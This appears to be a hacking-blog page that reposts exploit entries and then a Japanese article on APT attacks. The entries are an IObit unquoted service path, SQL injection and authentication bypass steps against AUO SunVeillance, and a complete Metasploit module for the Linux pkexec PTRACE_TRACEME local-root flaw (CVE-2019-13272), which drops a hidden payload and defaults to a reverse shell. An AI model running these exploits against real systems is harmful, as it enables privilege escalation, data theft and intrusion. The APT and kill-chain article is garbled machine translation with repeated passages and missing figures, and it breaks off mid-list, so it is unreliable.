Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863595020

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Title: IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path
# Author: Sainadh Jamalpur
# Date: 2019-10-22
# Vendor Homepage: https://www.iobit.com
# Software Link: https://www.iobit.com/en/advanceduninstaller.php
# Version : 9.1.0.8
# Tested on: Windows 10 64bit(EN)
# CVE : N/A

# 1. Description:
# Unquoted service paths in IObit Uninstaller v9.1.0.8 have an unquoted service path.

# PoC
===========
C:\>sc qc IObitUnSvr
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IObitUnSvr
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IObit Uninstaller Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>

#Exploit:
============
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
            
# Exploit Title: AUO SunVeillance Monitoring System 1.1.9e - 'MailAdd' SQL Injection
# Date: 2019-10-24
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.auo.com/zh-TW
# Version: AUO SunVeillance Monitoring System all versions prior to v1.1.9e
# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
# CVE: N/A

# 1. Description:
# AUO SunVeillance Monitoring System all versions prior to v1.1.9e that is vulnerable to SQL Injection.
# The vulnerability can allow the attacker inject maliciously SQL command to the server which allows 
# the attacker to read privileged data.

# 2. Proof of Concept:

(1) Access the sending mail page of AUO SunVeillance Monitoring System  (/Solar_Web_Portal/mvc_send_mail.aspx) without any authentication. 
    There is a parameter, MailAdd, in mvc_send_mail.aspx.
(2) Modify the value of parameter MailAdd with single quotation. The error messages contains oracle database information.
(3) By using sqlmap tools, attacker can acquire the database list which in server side.

cmd: sqlmap.py -u “https://<host>/Solar_Web_Portal/mvc_send_mail.aspx?MailAdd=” -p MailAdd –dbs

(4) Furthermore, there are a few SQL Injection vulnerabilities in other fields.

picture_manage_mvc.aspx (parameter: plant_no)
swapdl_mvc.aspx (parameter: plant_no)
account_management.aspx (parameter: Text_Postal_Code, Text_Dis_Code)

Thank you for your kind assistance.

Luca
            
# Exploit Title: AUO SunVeillance Monitoring System 1.1.9e - Incorrect Access Control
# Date: 2019-10-24
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.auo.com/zh-TW
# Version: AUO SunVeillance Monitoring System all versions prior to v1.1.9e
# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
# CVE: N/A
 
# 1. Description:
# An issue was discovered in AUO SunVeillance Monitoring System.
# There is an incorrect access control vulnerability that can allow the attacker to 
# bypass the authentication mechanism, and upload files to the server without any authentication.
 
# 2. Proof of Concept:
(1) Access the picture management page of AUO SunVeillance Monitoring System (/Solar_Web_Portal/Picture_Manage_mvc.aspx) without 
    any authentication. As a guest role, user is not allowed to upload a picture. However, there are two parameters, Act and authority, in Picture_Manage_mvc.aspx.
(2) Modify the value of parameter authority from 40 to 100. You can find out the upload button is enabled.
(3) Now you can upload a file successfully.
(4) The file which we uploaded is storing in server side. It’s means any user without authentication can upload files to server side.
 
Thank you for your kind assistance.

Luca
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
      'Description'   => %q{
          This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
          kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
          not over an SSH session, as it requires execution from within the context of
          a user with an active Polkit agent.
          In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
          the recording of the credentials of a process that wants to create a ptrace
          relationship, which allows local users to obtain root access by leveraging
          certain scenarios with a parent-child process relationship, where a parent drops
          privileges and calls execve (potentially allowing control by an attacker). One
          contributing factor is an object lifetime issue (which can also cause a panic).
          Another contributing factor is incorrect marking of a ptrace relationship as
          privileged, which is exploitable through (for example) Polkit's pkexec helper
          with PTRACE_TRACEME.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Jann Horn',    # Discovery and exploit
          'bcoles',       # Metasploit module
          'timwr',        # Metasploit module
      ],
      'References'     => [
          ['CVE', '2019-13272'],
          ['EDB', '47133'],
          ['PACKETSTORM', '153663'],
          ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
      ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X64 ],
      'Targets'        => [[ 'Auto', {} ]],
      'DefaultOptions' =>
        {
          'Payload'     => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true,
        },
      'DisclosureDate' => 'Jul 4 2019'))
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    # Introduced in 4.10, but also backported
    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
    release = kernel_release
    v = Gem::Version.new release.split('-').first

    if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    unless command_exists? 'pkexec'
      vprint_error 'pkexec is not installed'
      return CheckCode::Safe
    end
    vprint_good 'pkexec is installed'

    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
    if loginctl_output =~ /Remote=yes/
      print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
    end

    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    upload_and_chmodx(payload_file, generate_payload_exe)
    register_file_for_cleanup(payload_file)

    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
    end
    register_file_for_cleanup(exploit_file)

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec("echo #{payload_file} | #{exploit_file}")
    print_status("Exploit result:\n#{result}")
  end
end
            

0x00 apt

の歴史的な起源の背景

APTという言葉は次のとおりです。2005年に、英国と米国の証明書組織は、ターゲットを絞ったソーシャルエンジニアリングメールについて最初の警告を発し、「APT」という名前は使用されていませんでしたが、トロイの木馬を機密情報を漏らして放棄しました。しかし、「高度な永続的な脅威」という用語は広く引用されており、2006年の米国空軍のグレッグ・ラトレイ大佐は、この用語を生み出した個人としてしばしば引用されました。その後、StuxNet事件は、イランの核計画を標的にするハッカー攻撃であり、これはAPT攻撃の例です。コンピューターのセキュリティの分野および成長するメディアでは、APTという用語は、ほとんどの場合、政府、企業、政治活動家に対するハッキング攻撃の進行中の進行中のモデルを指すために使用され、グループが関与するこれらの攻撃の背後に広がっています。用語として、高度な永続的な脅威(APT)は、発生する攻撃の数に転用できます。一般的な誤解は、APTは西側諸国のみを対象としているということです。西洋諸国は、西洋諸国を対象としたより技術的なAPTを促進するかもしれませんが、多くの国の関係者は、個人やグループに関する知性を収集する手段としてサイバースペースのセキュリティを使用しています。米国では、Cyber Commandの使命は、米軍を調整して、進行中の進行中のサイバー脅威、つまり適切な攻撃に対処することです。

同時に、多くの情報筋は、一部の適切な組織が実際に国と国と提携したり、国を代表したりしていると感じています。それ以外の場合、大量の情報とリソースを保持することは困難です。 3種類の機関は、高度で永続的な脅威、つまり高等教育、金融機関、政府機関のリスクが高くなりがちです。

実際、APTには、特定のエンティティの1人または複数の人々(通常は複数の人々)によって計画されていることが多い、あいまいで継続的な攻撃のフレームワークがあります。 APTは通常、商業的または政治的な動機を備えた高価値の目標のために実装されます。 APTは、長期攻撃中に可能な限り高い隠蔽を保証します。 「Advanced」とは、マルウェアを使用してシステムの脆弱性を攻撃する複雑なテクノロジーを意味します。 「継続的な」プロセスは、組織と制御システムに対するAPT攻撃が特定のターゲットからデータを継続的に監視および抽出していることを示しています。 「脅威」プロセスは、攻撃がターゲットの利益に害を及ぼす可能性があることを示しています。

APTグループは、APTグループは、継続的かつ効果的な方法で攻撃を行う能力と意図の両方を持つエンティティであるため、通常、組織、おそらく政府が支援する組織を指します。したがって、APTは通常、サイバーの脅威を参照するために使用されます。特にインターネットを使用してさまざまなインテリジェンスコレクションテクノロジーを使用して機密情報を取得しますが、従来のスパイ活動や攻撃などの他の脅威にも適しています。その他の認識された攻撃ベクターには、感染媒体、サプライチェーン、ソーシャルエンジニアリングが含まれます。これらの攻撃の目的は、1つ以上のコンピューターにカスタムの悪意のあるコードを配置して、特定のタスクを実行し、最も長い間発見されないことです。攻撃者ファイル(ファイル名など)を理解することで、専門家がWeb全体の検索を行い、影響を受けるすべてのシステムを収集することができます。個々のハッカーなどの個人は、特定のターゲットを取得または攻撃するつもりであっても、高度で永続的なリソースを持たないため、通常はAPTとは呼ばれません。

0x01 apt攻撃定義

APT攻撃(高度な永続的な脅威)とは、現在の高度な攻撃方法を使用して、特定の目標に対する長期的および継続的なサイバー攻撃を実行する組織(特に政府)または小グループを指します。 APT攻撃の高度な性質は、正確な情報収集、高度な隠蔽、およびさまざまな複雑なネットワークインフラストラクチャとアプリケーションの脆弱性を使用したターゲットに対する正確な攻撃に反映されています。攻撃者の攻撃形態はより高度で高度であり、サイバースペースの分野で最高レベルのセキュリティ対立と呼ばれます。 APTは、ハッカーがコア情報を盗むために開始されたサイバー攻撃と侵略です。

APT(高度な長期的な脅威)には、高度、長期、および脅威の3つの要素が含まれています。洗練されたマルウェアとテクノロジーを使用するための洗練されたマルウェアとテクノロジーを使用することが、システムの脆弱性を活用することです。長期は、外力が特定のターゲットを継続的に監視し、それらからデータを取得することを意味します。脅威とは、人間の参加によって計画された攻撃を指します。

APT攻撃の原則は、他の攻撃フォームよりも高度で高度です。その進歩は、APTが攻撃を開始する前に攻撃ターゲットのビジネスプロセスとターゲットシステムを正確に収集する必要があるという事実に主に反映されています。この収集プロセス中、この攻撃は、ターゲットの信頼できるシステムとアプリケーションの脆弱性を積極的に調査し、これらの脆弱性を活用して攻撃者が必要とするネットワークを形成し、0日の脆弱性を攻撃に使用します。

0x02 apt攻撃方法

APTの攻撃方法は、それ自体を隠し、特定のオブジェクトをターゲットにするために長期的、計画的、組織化された方法でデータを盗むことです。このタイプの攻撃は、従来のセキュリティ検出システムが効果的に検出して発見できないという問題です。最先端の防御方法は、非営利的な仮想マシン分析テクノロジーを使用して、さまざまな電子メール添付ファイルやファイルの詳細な動的動作分析を実施し、APT攻撃動作を発見および確認するためのシステムの脆弱性などの高度なテクノロジーを使用して特別に構築された悪意のあるファイルを発見することです。 APTの特性により、検出することは困難であり、大きな潜在的な脅威を持っています。攻撃されると、企業、政府、医療機関などからの大量のデータが盗まれ、会社の重要な財政的および機密性が盗まれます。

p3zgjr4dvmq8623.png

0x03 apt攻撃方法

APT組織が使用する一般的な攻撃方法には、スピアフィッシング、水たまり攻撃、パスバイダウンロード攻撃、ソーシャルエンジニアリング、インスタントメッセージングツール、ソーシャルネットワークなどが含まれます。

スピアフィッシングとは、アジアと東ヨーロッパに由来するフィッシング攻撃を指し、特定の目標のみをターゲットにしています。攻撃者がターゲットをロックすると、彼は電子メールを使用して会社または組織の名前を偽造して、実際のものと虚偽を区別するのが難しいファイルを送信し、従業員にアカウントのパスワードにさらにログインするように誘導し、攻撃者が機会を利用してトロイの木馬または他のスパイウェアを設置して機密情報を盗むことができます。または、従業員がしばしば閲覧することが多いWebページに自動ウイルスダウンローダーを置き、感染したシステムのミュータントウイルスを継続的に更新して、ユーザーが対処できないようにします。槍のフィッシングは普通の個人ではなく、特定の会社または組織のメンバーであるため、盗まれた情報はもはや通常のフィッシングによって盗まれた個人情報ではなく、知的財産権や企業秘密など、他の非常に敏感な情報です。

(1)Spear Phishingは、特定の組織を対象としたサイバー詐欺であり、機密データへのアクセスを許可しないことを目的としています。最も一般的な方法は、トロイの木馬を特定のターゲットへの電子メールへの添付ファイルとして送信し、ターゲットを誘導して添付ファイルを開くことです。

(2)ウォーターホリングとは、攻撃ターゲットのネットワークアクティビティルールを分析し、攻撃ターゲットが頻繁に訪問するウェブサイトの弱点を見つけ、最初にウェブサイトを攻撃し、攻撃コードを埋め込み、攻撃ターゲットがウェブサイトにアクセスするときに攻撃を行うのを待つハッカーを指します。散水穴は、特定のグループ(組織、産業、地域など)を対象とするコンピューター侵略方法です。攻撃者は、最初にこのターゲットグループが頻繁に訪問するウェブサイトを推測(または観察)することで決定し、それらの1つ以上にハッキングし、マルウェアをインプラントし、最後にグループのターゲットの一部のメンバーに感染します。この種の攻撃はターゲットグループに信頼されているWebサイトを使用しているため、攻撃の成功率は高く、つまり、Harpoon攻撃や他の形式のフィッシング攻撃から保護する能力を持つグループを対象としています。

次の図は、Harpoon AttackとPuddle Attackを使用したOceanlotusの基本的な方法を示しています。

zpals4ier0q8624.png

(4)ドライブバイダウンロード:スパイウェア、コンピューターウイルス、またはユーザーがそれを知らずにマルウェアをダウンロードします。ユーザーがWebサイトにアクセスしたり、メールを読んだり、欺ceptiveポップアップをクリックしたりすると、ダウンロードの合格が発生する可能性があります。たとえば、ユーザーは、このポップアップがコンピューターがエラーをプロンプトするウィンドウであるか、これが通常のポップアップ広告であると考えるウィンドウであると誤って考えているため、このウィンドウをクリックします。

(5)ソーシャルエンジニアリング:コンピューターサイエンスでは、ソーシャルエンジニアリングとは、他の人との法的コミュニケーション、特定の行動を起こしたり、いくつかの機密情報を開示したりすることで、心理学に影響を与える方法を指します。これは、多くの場合、情報、詐欺師、およびコンピューターシステムへのハッキングを不正に収集する一種の行為と見なされます。英国と米国の慣習法システムでは、この行動は一般にプライバシーの違反と見なされます。ソーシャルエンジニアリングは、対人コミュニケーションを通じて情報を取得する技術的な浸透方法です。残念ながら、この方法は非常に効果的で、アプリケーションが非常に効率的です。ただし、実際、ソーシャルエンジニアリングは企業セキュリティに対する最大の脅威の1つです。

360がリリースした《摩诃草APT组织大揭秘》レポートでは、近年、マハカオはインスタントメッセージングツール(主にTencentのQQチャットツール)とソーシャルネットワーク(Facebook)を使用してペイロードを提供することが発見されました。インスタントメッセージングツールは、主にMP4形式のビデオファイルを偽造するバイナリ実行可能ファイルプログラムを送信します。ソーシャルネットワーク(Facebook)ペイロード配信は、通常、SNSワーム、バイナリ形式の実行可能な悪意のあるプログラムまたはドキュメントタイプの脆弱なファイルの配置に分けられます。

ターゲット企業を決定した後、APT組織は、会社のユーザーの電子メール、携帯電話番号、通信ソフトウェア番号、名前、仕事など、ターゲットのすべての情報の収集を開始します。その後、APT組織はターゲットのフィッシング文書を作成し、それらを配置する準備を開始します。内部スタッフが悪意のあるドキュメントを開くと、コンピューターは関連する脆弱性をトリガーして、APTメンバーの内部ネットワークへの扉を開きます。現時点では、情報を保存するサーバーを探し始め、サーバーを攻撃して必要なものを取得し始め、その後、トロイの木馬を移植してアクセス許可を維持します。

0x04 apt

の機能

目標- 脅威の究極の目標、つまりあなたの対戦相手

時間- 調査と侵略にかかった時間

リソース - 関係する知識とツール(スキルと方法も影響します)

リスク許容度- どの程度まで脅威が検出されないか

スキルと方法- 使用されるツールとテクニック

アクション - 脅威で取られた特定のアクション

攻撃ソース - 攻撃ソースの数

関与の数- 関与する内部または外部システムの数、何人の人が重要であるか

ソース - オンライン情報を収集することで脅威を特定できるかどうか

0x05 apt攻撃実装

APT攻撃は慎重に計画および実行されます。それらは通常、侵略、発見、捕獲、にじみ出る4つの段階に分かれています。各段階では、以下に示すように、さまざまな手法を使用できます。

nttv0rjmh4f8625.png

4cc4j5yrb2u8626.png

cttalwpuvf18627.png

xmzg1n1dbmd8628.png

0x06 apt攻撃のライフサイクル

APTの背後にある首謀者は、組織の金融財産、知的財産、評判に対する継続的な脅威をもたらします。プロセスは次のとおりです。

ターゲットが環境に侵入しようとする特定の組織グループ(フィッシングメールの送信など)をターゲットにし始めます。侵入システムを使用して、ターゲットネットワークにアクセスして、攻撃ターゲットを達成するために使用される関連ツールを展開して、将来のアクセスのためのトレースを非表示にします。

ob3cn3wxdt08629.png

2013年、アメリカのサイバーセキュリティ会社Mandiantは、2004年から2013年の間にAPT攻撃に関する調査の結果を発表しました。ライフサイクルは上記に似ています。

最初の侵略- ソーシャルエンジニアリング、フィッシング攻撃、ゼロデイ攻撃を電子メールで使用します。また、被害者が頻繁に訪れるウェブサイトにマルウェア(馬を接続する)を埋め込む一般的な方法でもあります。

足場を取得します - 被害者のネットワークにリモートアクセスツールを挿入し、ネットワークバックドアを開き、隠されたアクセスを有効にします。

特権の改善- 脆弱性とパスワードのクラッキングを活用して、被害者コンピューターで管理者の特権を取得し、Windowsドメイン管理者の特権を取得しようとする場合があります。

内部探査- 周辺の施設、セキュリティと信頼関係、ドメイン構造に関する情報を収集します。

水平開発- データを収集するために、他のワークステーション、サーバー、施設への制御を拡張します。

真実のまま - 以前に入手したアクセス権と資格情報を確実に制御してください。

タスクの完了- 盗まれたデータは、被害者のネットワークから送信されます。

マディアンが分析した侵入では、攻撃者が被害者のネットワークの制御を保持する平均時間は1年で、最大時間は5年です。

0x07 apt攻撃段階

APT攻撃は、より体系的で、分散され、共同作業になります。通常、情報収集、武器化された展開、ペイロード配信、利用、インストール、コマンドとコントロール、および実行に分かれています

キルチェーンには一般的に6つのステージがあります:ディスカバリーポジショントラッキング攻撃侵略の侵略が完全に、apt攻撃モデルサイバーキルチェーンはそれに対応します

0x08 APT分析モデル

ここでは、2つの分析モデルを借ります。1つはキルチェーン7層モデル、もう1つはダイヤモンドモデルです

1。サイバーキルチェーンとは何ですか?

「キルチェーン」の概念は、軍事分野に由来します。これは、攻撃リンクを記述する6段階のモデルであり、理論的にはそのような攻撃(つまり、アンチキルチェーン)を防ぐために使用できます。キルチェーンには6つのリンクがあります:「ディスカバリーポジションを追跡するターゲットティングストライクを達成する」ステージ。

キルチェーンリンクが早期に攻撃を防ぐほど、保護効果が向上します。たとえば、攻撃者が取得する情報が少ないほど、攻撃を開始するために第三者が使用する可能性が低くなります。

ロッキード・マーティンによって提案されたサイバーキルチェーンはこれに似ており、本質的に標的を絞った段階的攻撃です。同様に、この理論はネットワーク保護に使用できます。特定の段階を次の図に示します。

cmvkqrl4etx8630.png

それは伝統的な盗難プロセスのようなものです。泥棒はまずサイトをチェックしてから、ターゲットビルに忍び込み、盗難計画を段階的に実施し、最終的に盗まれた商品から逃げる必要があります。ネットワークキルチェーンを使用して、攻撃者がネットワーク環境に侵入しないようにするには、ネットワークの乱気流を理解するために十分なインテリジェンスと可視性が必要です。登場しないべきものがある場合、会社はできるだけ早く学ぶ必要があり、このために、会社は攻撃アラートを設定できます。

留意すべきもう1つのポイントは、キルチェーンリンクが早期にブロックされるほど、修理のコストと時間の損失が低くなります。ネットワーク環境に入るまで攻撃がブロックされていない場合、エンタープライズは機器を修理し、漏れた情報を確認する必要があります。

キルチェーンテクノロジーが会社に適しているかどうかを明確にするために、キルチェーンモデルのいくつかの段階を開始して、会社が検証すべき問題を発見することもできます。

それは伝統的な盗難プロセスのようなものです。泥棒はまずサイトをチェックしてから、ターゲットビルに忍び込み、盗難計画を段階的に実施し、最終的に盗まれた商品から逃げる必要があります。ネットワークキルチェーンを使用して、攻撃者がネットワーク環境に侵入しないようにするには、ネットワークの乱気流を理解するために十分なインテリジェンスと可視性が必要です。登場しないべきものがある場合、会社はできるだけ早く学ぶ必要があり、このために、会社は攻撃アラートを設定できます。

留意すべきもう1つのポイントは、キルチェーンリンクが早期にブロックされるほど、修理のコストと時間の損失が低くなります。ネットワーク環境に入るまで攻撃がブロックされていない場合、エンタープライズは機器を修理し、漏れた情報を確認する必要があります。

キルチェーンテクノロジーが会社に適しているかどうかを明確にするために、キルチェーンモデルのいくつかの段階を開始して、会社が検証すべき問題を発見することもできます。

2。サイバーキルチェーン攻撃キルチェーン

セキュリティサークルに隠れている私たちのために、ロッキードマーティンのサイバーキルチェーン(サイバー攻撃ライフサイクルとも呼ばれます)は、侵入を特定して防止するために特別に使用されます。ただし、攻撃モードは変化し続けます。例としてValut7を取ります。それに記載されている攻撃モデルはすべて2008年に使用されましたが、2016年と2017年に暴露されました。攻撃と防御の時差がどれほど深刻かを想像することができます。そのため、キルチェーンが多くのセキュリティ保護をもたらすことを望んでいませんが、焦点は私の視野を広げることにあり、先に計画するのが最善です。現在、Valut8は暴露されており、企業のセキュリティは想像していたよりもはるかに静かではないようです。

Cyber Attack Killチェーンモデルは、マルウェアの各攻撃段階を分割するために使用されます。各段階に識別には対応する機能がありますが、文を使用するには、後で言及します。ブロックするよりも緩んでいる方が良いです。同じ目的地は同じです。特定の状況は何ですか?私は後で自分の理解について話します。それでは、サイバーキルチェーンの各段階について簡単に話しましょう。

3。ネットワーク攻撃の各段階はチェーンを殺します

キルチェーンモデルは、攻撃者の攻撃プロセスを次の7つのステップに分解します。

偵察- 攻撃者は、ターゲットの可能性のある弱点または悪い構成を検出し始めます

兵器化- 攻撃者は、被害者に渡すことができるペイロードの構築を開始します(PDFファイルまたはオフィス文書にすることができます)

配信- 攻撃者は、電子メール、Webリンク、または取り外し可能なメディアでペイロードをターゲットに送信します

エクスプロイト - ペイロードは被害者のネットワークで実行されます

インストール - ペイロードは他のリモートアクセスツールをダウンロードし、それらをインストールして永続的なバックドアを作成します

コマンドとコントロール - 被害者と攻撃者の間にチャネルを作成する

アクション - 予想される目標を実行します(ファイルの暗号化、データの盗みなど)

1。

エコナンスはターゲットを識別し、この段階で情報が収集され、犯罪者はターゲットの品質を決定しようとします。彼らは、エンタープライズのリソースと外部からのネットワーク環境を理解し、攻撃する価値があるかどうかを判断します。理想的には、攻撃者は、ターゲットが防御とデータの価値が弱いことを望んでいます。犯罪者が見つけることができる情報のカテゴリと、この情報の使用方法。

会社の情報価値は、多くの場合、想像力を超えています。従業員の名前と詳細(企業のウェブサイトだけでなく、ソーシャルWebサイト)がWebに保存されていますか?この情報は、ユーザー名またはパスワードを開示するように人々に求めるなど、ソーシャルエンジニアリングの目的で使用できます。エンタープライズのウェブサイトサーバーまたは物理的な場所はネットワークに接続されていますか?これらはソーシャルエンジニアリングでも使用することも、攻撃者が企業環境での脆弱性の検索を絞り込むのにも役立ちます。

このレベルの問題は対処するのが難しく、ソーシャルネットワークの人気はそれを特に困難にします。機密情報を隠すことは改善する安価な方法ですが、これにより情報通話の時間コストが増加します。

攻撃者の防衛特性:攻撃当事者の攻撃計画段階。彼らは自分の目標を理解するために研究を実施して、それが非常に困難になるので、彼ら自身の検出偵察を達成できるようにしますが、擁護者が偵察を発見したとき - その後も - それは攻撃者の意図を明らかにすることができます。一般的に使用される攻撃/防衛方法は、電子メールアドレスを取得し、従業員のソーシャルメディアネットワークを決定し、プレスリリースを収集し、契約報酬を集め、会議参加者のリストを検討し、パブリックネットワークに配置されたサーバーを探索して、ウェブサイトのログアラートと歴史的検索を収集し、ウェブサイト管理者と連携して既存のブラウザーを分析し、既存の検出メカニズムを確立し、特に想像を想像しているため、特に想像を想像しています。

2。

兵器化兵器化の準備これらのフェーズは、選択されたターゲットを攻撃するツールを使用して攻撃者の特定のプロセスであり、それらが収集する情報は悪意のある行動に使用されます。手元にある情報が多いほど、ソーシャルエンジニアリング攻撃はシームレスになります。 LinkedInに関する従業員の情報を通じて、彼らは槍のフィッシングで内部リソースを取得できます。あるいは、リモートアクセストロイの木馬を事前にファイルに埋め込むことができます。これは、受信機を実行するように誘惑する重要な情報に入力される可能性があります。オペレーティングシステムのバージョンやタイプなど、ユーザーやサーバーが実行するソフトウェア情報を知っている場合、エンタープライズネットワークでの浸透とレイアウトへの信頼性が大幅に増加します。

これらの段階での防御のために、企業は標準的なセキュリティの専門家のアドバイスに従うべきです。

エンタープライズのソフトウェアは最新ですか?これは、各端末の各アプリケーションに固有である必要があります。ほとんどの企業には古いデスクトップを使用する小さなコーナーがあり、システムはまだWindows 98を使用しています。このデバイスがネットワークに接続されている場合、攻撃者のドアを開くことに等しいです。

企業は電子メールとWebフィルタリングを使用していますか?電子メールフィルタリングは、攻撃で一般的に使用されるドキュメントタイプを効果的にブロックできます。パスワードで保護されたZIPファイルなど、会社のファイルを何らかの標準で送信する必要がある場合、これにより、ファイルが正しいかどうかをユーザーに知らせることができます。 Webフィルタリングにより、ユーザーは既知の悪いWebサイトまたはドメイン名にアクセスできません。

エンタープライズはUSBデバイスを無効にしますか?セキュリティの観点からは、許可なくファイルを実行することをお勧めします。ユーザーが一時停止し、実行する前に見ているものを考える時間があることを確認するのが最善です。

エンタープライズはエンドポイント保護ソフトウェアの最新機能を使用していますか?エンドポイント保護ソフトウェアは、新しいターゲットを絞った攻撃に対処するように設計されていませんが、既知の疑わしい行動やソフトウェアの脆弱性に基づいて脅威をキャプチャすることがよくあります。

3。

配信:攻撃ターゲットがマルウェアを伝えた後、ペイロードを渡し、攻撃者の防衛機能を開始して実行します。それらはすべて、いくつかの攻撃操作の実行を開始します。これは、防衛が操作をブロックする最初で最も重要な機会です。有効性の重要な尺度は、侵入の試みとツールの提供の重要な部分をブロックすることです。一般的に攻撃/防衛方法は、攻撃者の制御下でペイロードを送信するために一般的に使用されます:Webサーバーを直接ターゲットにし、攻撃者はペイロードをリリースします:悪意のある電子メール、マルウェアのUSBストレージ、ソーシャルメディアの相互作用、「ピットスタイルの」フィッシングWebサイト攻撃分析、およびペイロード配信のメディアを理解する - 上位レベルのインフルストラクチャーの主要なインフラチュアに焦点を当てる攻撃者のペイロード状況に基づいて攻撃者の意図を推測し、「アーセナル」攻撃ペイロードを分析して配達エリアの新しい悪意のあるコードを検出し、相手が行動し始める時間を分析し、電子メールとネットワークログを収集し、証拠を復元します。後で侵入が検出されたとしても、ディフェンダーは、いつ、どのように負荷の配信を開始するかを判断できる必要があります。

4。

攻撃当事者の防衛のターゲットアクセス権の機能を取得するための利用者は、1つの脆弱性を活用してアクセス権を獲得します(実際、複数の脆弱性が使用される場合があります)。 「0day」とは、このステップで使用されている攻撃の脆弱性を指します。ここに展開されている従来の防衛措置は一般に従来の防衛措置であり、同時に、「0day」、「1day」、「nday」、その他の脆弱性の脆弱性に対する柔軟性を高めます。カスタマイズされた防御機能は、一般的に攻撃/防御方法に使用されます。ソフトウェア、ハードウェア、または人間の脆弱性が取得または発見されます。攻撃者は、サーバーベースのセキュリティの脆弱性を悪用し、被害者は脆弱性を引き起こします。悪意のある電子メールをクリックし、ユーザーセキュリティ認識トレーニングと従業員のメールテストへの悪意のあるリンクをクリックします。メールボックスサーバーの保護、セキュリティコーディングに関するWeb開発者のトレーニング、脆弱性と侵入テストの定期的なスキャン、エンドポイント防御測定:管理者の許可を制限し、Microsoft EMETの使用、カスタムエンドポイントルールブロックシェルコード実行、エンドポイントログイン監査プロセス、および攻撃ソースのフォレンジック決定。

5。

ターゲットが要塞を構築するときに:を設置すると、通常、攻撃者は連続バックドアまたはインプラントをインストールします。これはターゲットに長時間アクセスできます。端子防御の検出と「異常」設置アクティビティログ。マルウェア分析中にインストールフェーズの動作を分析すると、攻撃を軽減できます。一般的な攻撃/防衛方法:TrojanバックドアをWebサーバーにインストールし、ターゲットクライアントにバックドアとインプラントをインストールし、ターゲットで継続的に実行されるサービスを作成するか、セルフスタートサービスとプロセスなどを作成します。良い提案:リサイクルなどの一般的なソフトウェアインストールパスに焦点を当て、マルウェアが一般ユーザーからの特権アカウントまたはアクセス許可を必要とするかどうか、ターミナルアクセス監査:例外ファイルの作成を発見するために、すべての抜粋証明書、主に署名を含む実行可能ファイル、マルウェアの編集時間を理解するために、古いマルウェアか新しいマルウェアかどうかを判断します。

5。

